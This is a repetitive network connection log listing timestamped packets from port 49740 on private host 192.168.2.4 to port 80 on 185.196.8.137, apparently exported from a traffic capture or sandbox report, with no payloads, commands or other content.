Apr 9, 2024 14:54:04.609355927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609395981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609416008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609436035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609461069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609483957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609498978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609528065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609719992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609746933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609767914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609795094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609826088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609848976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609864950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609886885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609900951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609926939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609936953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609961987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609976053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610001087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610023022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610044956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610064983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610177994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610217094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610230923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610256910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610332966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610358953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610421896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610450983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610467911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610493898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610584021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610584021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610611916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610631943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610654116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610673904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610694885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610716105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610737085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610750914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610773087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610790014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610814095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610832930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610847950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610869884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610884905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610910892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610937119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610956907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610974073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.610991955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611015081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611033916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611047983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611071110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611088991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611110926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611126900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611145020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611166000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611188889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611208916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611236095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611257076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611272097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611291885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611309052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611325026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611345053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611360073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611382008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611392021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611413002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611428976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611449003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611466885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611490965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611521006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611540079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611552954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611577034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611598969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611610889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611630917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611644030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611665964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611681938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611740112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611767054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611788988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611809969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611830950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611849070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611867905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611888885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611905098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611928940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611943007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611963987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.611980915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612003088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612021923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612037897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612061977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612083912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612103939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612126112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612142086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612160921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612178087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612200022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612222910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612241030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612257004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612277031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612292051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612314939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612334967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612354040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612374067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612392902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612415075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612432957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612449884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612467051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612488985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612509966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612530947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612546921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612565041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612598896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612624884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612639904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612660885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612682104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612708092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612731934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612752914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612773895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612796068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612811089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612838030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612852097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612874985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612895966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612905025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612931967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612948895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.612973928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613025904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613049984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613069057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613089085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613110065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613130093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613149881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613171101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613188982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613204956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613228083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613245010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613266945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613281012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613301992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613321066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613343954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613365889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613378048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613401890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613416910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613440037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613461971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613476992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613497972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613519907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613533974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613558054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613574028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613590002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613614082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613635063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613658905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613678932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613697052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613718987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613734961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613756895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613771915 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613795042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613811970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613833904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613848925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613873959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613884926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613909960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613931894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613955021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613972902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.613993883 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614006996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614029884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614052057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614067078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614088058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614123106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614123106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614140034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614159107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614178896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614202023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614233971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614286900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614303112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614331007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614352942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614372969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614392996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614418983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614439011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614459038 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614479065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614500046 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614516973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614537001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614557028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614574909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614597082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614618063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614635944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614651918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614672899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614695072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614708900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614729881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614749908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614768028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614789009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614810944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614831924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614846945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614871025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614892006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614912033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614933968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614948034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614974022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.614995003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615015984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615039110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615058899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615134001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615158081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615158081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615158081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615158081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615170956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615194082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615215063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615233898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615257025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615272999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615293026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615313053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615331888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615350962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615370989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615387917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615410089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615425110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615451097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615478039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615499973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615519047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615539074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615552902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615571976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615593910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615611076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615633011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615681887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615704060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615722895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615746021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615763903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615786076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615807056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615824938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615847111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615866899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615884066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615904093 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.615923882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616839886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616872072 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616899967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616925001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616947889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.616978884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617002010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617023945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617052078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617080927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617101908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617125988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617146969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617172003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617192984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617222071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617248058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617273092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617295027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617322922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617352962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617371082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617396116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617415905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617440939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617461920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617486954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617502928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617527962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617548943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617578983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617599010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617624044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617646933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.617672920 CEST	49740	80	192.168.2.4	185.196.8.137
